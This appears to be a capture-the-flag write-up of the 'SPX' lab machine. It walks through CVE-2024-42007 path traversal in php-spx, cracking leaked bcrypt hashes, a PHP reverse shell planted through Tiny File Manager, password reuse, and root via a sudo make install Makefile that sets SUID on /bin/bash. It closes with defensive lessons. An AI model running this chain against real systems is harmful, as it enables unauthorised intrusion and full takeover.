SPX

TL;DR. phpinfo.php gives away the php-spx 0.4.15 extension, vulnerable to CVE-2024-42007: a path traversal that reads arbitrary files (php-spx path traversal (CVE-2024-42007)). We read the Tiny File Manager index.php, pull its bcrypt hashes and crack them (hash cracking). As admin we upload a webshell (upload to RCE), the password is reused for profiler (credential reuse), and a sudo make install over a Makefile we control gives root (sudo make install abuse).

Recon

Initial scan

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Only SSH and an Apache that presents itself as "Tiny File Manager".

ping -c 1 192.168.219.108
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.108

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 192.168.219.108 -oN targetedScan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Tiny File Manager

HTTP - TCP 80

dirsearch finds a reachable phpinfo.php:

dirsearch -u http://192.168.219.108 --exclude-status=404,403

200 -   22KB - /phpinfo.php

phpinfo is gold for fingerprinting: among the loaded extensions is SPX (php-spx) v0.4.15, a PHP profiler. And more: it reveals the spx.http_key directive, the key guarding the SPX UI, in cleartext (a2a90ca2f9f0ea04d267b16fb8e63800):

Exploitation

CVE-2024-42007: php-spx path traversal

A search by version turns up the CVE's exploit:

php-spx exposes an internal UI guarded by SPX_KEY. CVE-2024-42007 lets you pass a SPX_UI_URI with ../ to read files off disk (php-spx path traversal (CVE-2024-42007)). The exploit needs the SPX_KEY, and we have it: it is exactly the spx.http_key the phpinfo leaked. With it we read the app's index.php:

python3 CVE_2024_42007.py -t http://192.168.219.108 -f /var/www/html/index.php | grep bash

The index.php is the Tiny File Manager 2.5.3 config, and its $auth_users array holds two bcrypt hashes in cleartext:

'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
'user'  => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'

Cracking the bcrypt hashes

We save both hashes and run john (hash cracking):

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

lowprofile       (?)
profiler         (?)
2g 0:00:00:00 DONE

Out come lowprofile and profiler. The first opens Tiny File Manager as admin.

Editing index.php to RCE

We log into Tiny File Manager with admin / lowprofile:

Once in, the panel shows the webroot with index.php and phpinfo.php (owned by www-data), and the footer confirms the version, Tiny File Manager 2.5.3:

TFM lets you edit files (arbitrary write to RCE). For the reverse shell we use PentestMonkey's PHP from revshells.com (pointing at our IP and port 22):

And we overwrite index.php itself with that code from the TFM editor:

With Penelope listening on 22, a simple curl to index.php fires the connection:

curl http://192.168.219.108/index.php

(Penelope)> listeners add -p 22
[+] Got reverse shell from spx~192.168.219.108-Linux-x86_64  Assigned SessionID <1>
www-data@spx:/$ whoami
www-data

We get execution as www-data.

User pivoting

Password reuse for profiler

The password recovered from the manager works as-is for the profiler system account (credential reuse):

su profiler   # lowprofile

profiler@spx:/home$ id
uid=1000(profiler) gid=1000(profiler) groups=1000(profiler)

Local

cat local.txt && whoami && ip a && hostname

164935483cfee7d46cfc49e7999389ff
profiler

Privilege escalation

sudo make install with a controlled Makefile

profiler can run make install as root in a directory they own:

sudo -l

User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

make runs the Makefile recipes verbatim, and that Makefile lives in our directory. We just inject a command into the target install invokes (sudo make install abuse). We add to the install-spx-ui-assets target:

nano /home/profiler/php-spx/Makefile
# inside install-spx-ui-assets:
	@chmod u+s /bin/bash

We run the rule with sudo and pop the privileged shell:

sudo /usr/bin/make install -C /home/profiler/php-spx
ls -l /bin/bash        # -rwsr-xr-x root root  (SUID)
bash -p

make: Entering directory '/home/profiler/php-spx'
Installing shared extensions:     /usr/lib/php/20210902/
Installing SPX web UI to: /usr/share/misc/php-spx/assets/web-ui
make: Leaving directory '/home/profiler/php-spx'
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
root

Root

cat /root/proof.txt && whoami && ip a && hostname

b168de96689fc2ca42843f1a8220c9c3
root

Attack chain

Apache 80  --  Tiny File Manager + php-spx 0.4.15
        │  phpinfo.php reveals php-spx 0.4.15
        │  spx.http_key (phpinfo) + CVE-2024-42007: path traversal -> read index.php (bcrypt hashes)
        │  john -> admin:lowprofile / user:profiler
        │  TFM admin login -> edit index.php with a PHP reverse shell
        ▼
www-data
        │  su profiler (reuses lowprofile)
        ▼
profiler  (local.txt)
        │  sudo make install -C ~/php-spx with controlled Makefile -> chmod u+s /bin/bash
        ▼
root  (proof.txt)  [bash -p]

Lessons learned

• phpinfo.php publishes the extension map. That is where php-spx 0.4.15 and its CVE surfaced. Never leave a reachable phpinfo in production.
• A PHP profiler is not harmless. php-spx shipped a path traversal (CVE-2024-42007) that read the config with the credentials. Diagnostic tooling must stay off the external surface.
• Hashes in config are credentials. bcrypt is not unbreakable against weak passwords; lowprofile fell instantly and was reused for the system user too.
• sudo make install is RCE if you control the Makefile. make runs any recipe; granting make via sudo over a writable directory is effectively granting root.